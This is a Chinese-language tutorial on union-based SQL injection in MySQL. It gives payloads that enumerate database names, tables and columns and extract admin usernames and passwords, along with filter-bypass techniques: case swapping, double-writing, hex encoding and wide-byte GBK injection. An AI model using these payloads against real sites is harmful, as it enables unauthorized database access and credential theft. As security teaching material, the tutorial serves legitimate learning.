SQL注入利用学习-Union联合注入

联合注入的原理

在SQL语句中查询数据时,使用select 相关语句与where 条件子句筛选符合条件的记录。

复制代码
select * from person where id = 1; #在person表中,筛选出id=1的记录

如果该id=1 中的1 是用户可以控制输入的部分时,就有可能存在SQL注入漏洞。

数据库提供联合查询,使得可以将两条SQL查询语句的结果进行连接。务必注意:两者的字段数必须一致。

复制代码
select * from person where id = 1 union select 1,2,database(),4,5;

判断联合查询语句中的字段数时,可以使用order by num 。当依次增大num时,如果出现错误,那么上 一条SQL查询语句的结果字段数就为num-1。

联合查询利用SQL注入漏洞语句:

(1)执行联合查询

复制代码
select * from person where id = 1 union select 1,2,3,4,5;

(2)查询数据库名、版本号、用户信息

复制代码
select * from person where id = 1 union select 1,2,database(),version(),user();

(3)查询数据表名

复制代码
select * from person where id = 1 union select 1,2,(select table_name from
information_schema.tables where table_schema=database() limit 0,1),4,5;
或
select * from person where id = 1 union select 1,2,(select group_concat(table_name)
from information_schema.tables where table_schema=database()),4,5;

(4)查询字段名

复制代码
select * from person where id = 1 union select 1,2,(select group_concat(column_name)
from information_schema.columns where table_name='admin'),4,5;
或
select * from person where id = 1 union select 1,2,(select group_concat(column_name)
from information_schema.columns where table_name=0x61646D696E),4,5;

(5)查询具体数据

复制代码
select * from person where id = 1 union select 1,concat(username,0x5c,password),3,4,5 from admin; 
或
 select * from person where id = 1 union select 1,concat(username,0x5c,password),3,4,5 from admin limit 0,2;

联合注入不适用情形:

1、union关键字被完全过滤

2、页面中压根不返回查询数据

联合注入过滤绕过技巧:

1、大小写绕过

基础:在Mysql中,大小写字母的含义是一致的。如果在进行过滤提交的数据过程中,没有对大小 进行区分,那么此时就会造成大小写绕过过滤的情况。

以上代码,都只匹配到union,并没有过滤大写字母,因此可以使用 大小写绕过。

2、双写绕过

基础:在使用 preg_replace 函数过程中,默认情况下 只进行一次匹配。因此如果匹配到字符替换 为空的情况 ,就可以造成双写绕过。

以上代码,使用i 表示大小写全部匹配,此时无法使用双写绕过。但是由于preg_replace默认只匹配一次 过滤字符,因此可以使用双写绕过。

3、过滤单引号绕过 十六进制

基础:在Mysql数据库中的SQL语句,对于字符串数据必须使用引号。但是对于字符串来说,Mysql 也识别 字符串中每个字符对应的ASCII码的16进制,此时可以使用 0x16进制替换字符串。从而绕过 引号对字符串的限制。

复制代码
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是: 单引号(') 双引号(") 反斜杠(\) NULL

该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

在php.ini配置文件中,开启 magic_quotes_gpc 选项,此时对于数字型注入来说,如果需要进行数 据库中数据获取,需要使用十六进制进行绕过。但是对于字符型注入来说,就需要进行逃逸引号的操 作。

4、宽字节注入原理与利用

基础:如果数据库中存储数据使用 的编码方式是 GBK,那么由于用户输入的内容会进行双字节的 组合,会导致用户输入的字节与反斜杠组合,从而逃逸引号。

宽字节注入可以说是一种逃逸引号的技巧,利用双字节组合导致注入产生。

注意有一种情况下无法使用 联合查询注入利用方式:preg_match('/union/i',$sql), 完全过滤。

相关推荐
松涛和鸣3 分钟前
69、Linux字符设备驱动实战
linux·服务器·网络·arm开发·数据库·驱动开发
2501_941982054 分钟前
企微自动化开发:安全与效率的平衡术
数据库·mysql·企业微信
阿里-于怀5 分钟前
Kubernetes 官方再出公告,强调立即迁移 Ingress NGINX
java·大数据·数据库·ingress nginx
玄同76511 分钟前
数据库全解析:从关系型到向量数据库,LLM 开发中的选型指南
数据库·人工智能·知识图谱·milvus·知识库·向量数据库·rag
枫叶丹419 分钟前
时序数据库选型指南:在大数据浪潮中把握未来,为何Apache IoTDB值得关注?
大数据·数据库·apache·时序数据库·iotdb
Dxy123931021620 分钟前
MySQL如何使用EXPLAIN分析SQL语句:从执行计划到性能优化
sql·mysql·性能优化
小虾米vivian22 分钟前
达梦使用dmfldr和外部表导入txt数据(windows环境)
java·服务器·数据库
1104.北光c°24 分钟前
【黑马点评项目笔记 | 商户查询缓存篇】基于Redis解决缓存穿透、雪崩、击穿三剑客
java·开发语言·数据库·redis·笔记·spring·缓存
数据知道26 分钟前
PostgreSQL 核心原理:一文掌握数据库的热数据缓存池(共享缓冲区)
数据库·缓存·postgresql
·云扬·34 分钟前
MongoDB高可用方案详解:副本集与分片集群
数据库·mongodb